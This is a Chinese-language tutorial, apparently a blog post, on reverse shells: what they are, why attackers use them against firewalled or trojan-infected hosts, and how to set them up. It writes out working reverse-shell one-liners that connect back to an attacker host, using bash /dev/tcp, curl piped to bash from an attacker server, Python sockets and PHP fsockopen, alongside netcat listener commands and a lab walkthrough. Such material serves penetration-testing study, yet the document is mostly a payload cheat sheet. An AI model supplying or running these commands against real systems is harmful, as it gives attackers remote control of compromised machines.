反弹Shell

概述

反弹shell(reverse shell)就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

反弹shell通常适用于如下几种情况:

  • 目标机因防火墙受限,目标机器只能发送请求,不能接收请求。
  • 目标机端口被占用。
  • 目标机位于局域网,或IP会动态变化,攻击机无法直接连接。
  • 对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。
  • ...

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。所谓正向连接,就是攻击机去连目标机。那么反向连接就很好理解了,就是攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,即为反向连接。

反弹shell的方式有很多,那具体要用哪种方式还需要根据目标主机的环境来确定,比如目标主机上如果安装有netcat,那我们就可以利用netcat反弹shell,如果具有python环境,那我们可以利用python反弹shell。如果具有php环境,那我们可以利用php反弹shell。

基本流程

攻击者在自己的服务器上执行:

shell 复制代码
nc -lvnp 8888

攻击者拿下受害者的权限后,在受害者的机器上执行:

shell 复制代码
bash -i > /dev/tcp/攻击者的服务器ip/攻击者监听的端口(这里就是8888) 0>&1 2>&1

例子

机器 ip地址
攻击机 kali 192.168.25.129
受害者 ubuntu 192.168.25.131

攻击机执行nc -lvnp 8888开启监听:

受害者执行bash -i > /dev/tcp/192.168.25.129/8888 0>&1 2>&1

攻击机回显:

可以看到已经成功反弹了shell,在kali这台机器上的命令提示符已经变成了ubuntu那台机器的了。查看ip地址发现正常回显受害者的ip。

解读

(1)nc -lvnp 8888

上面的nc命令也就是NetCat,在网络工具中有"瑞士军刀"美誉,其有Windows和Linux的版本。因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具,可通过TCP或UDP协议传输读写数据。

其常用参数如下:

  • -l 使用监听模式,管控传入的资料。
  • -v 显示指令执行过程。
  • -n 直接使用IP地址,而不通过域名服务器。
  • -p <通信端口> 设置本地主机使用的通信端口。

(2)bash -i

-i interactive。即产生一个交互式的shell(bash)。

(3) /dev/tcp/IP/PORT

特殊设备文件(Linux一切皆文件),实际这个文件是不存在的,它只是bash实现的用来实现网络请求的一个接口。打开这个文件就相当于发出了一个socket调用并建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。

(4)0>&1 2>&1

命令 说明
command > file 将输出重定向到 file。
n > file 将文件描述符为 n 的文件重定向到 file。
n >& m 将输出文件 m 和 n 合并。

一般情况下,每个 Unix/Linux 命令运行时都会打开三个文件:

  • 标准输入文件(stdin):stdin的文件描述符为0,Unix程序默认从stdin读取数据。
  • 标准输出文件(stdout):stdout 的文件描述符为1,Unix程序默认向stdout输出数据。
  • 标准错误文件(stderr):stderr的文件描述符为2,Unix程序会向stderr流中写入错误信息。

各种脚本反弹shell

curl配合bash

首先,在攻击者vps的web目录里面创建一个index文件(index.php或index.html),内容如下:

shell 复制代码
bash -i > /dev/tcp/服务器的ip/8888 0>&1 2>&1

并开启8888端口的监听:nc -lvnp 8888。然后再目标机上执行如下,即可反弹shell:

javascript 复制代码
curl xxx.xxx.xxx.xxx|bash

python

当目标主机上有python环境时,我们可以用Python来反弹shell。Python在现在一般发行版Linux系统中都会自带,所以使用起来也较为方便,即使没有安装,我们手动安装也很方便。

攻击机开启本地监听:

shell 复制代码
nc -lvnp 8888

目标机主动连接攻击机:

shell 复制代码
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

php

当目标主机上有php环境时,我们可以用php来反弹shell。

攻击机开启本地监听:

shell 复制代码
nc -lvnp 8888

目标机主动连接攻击机:

shell 复制代码
php -r '$sock=fsockopen("xxx.xxx.xxx.xxx",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
相关推荐
用户9623779544818 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机21 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机21 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全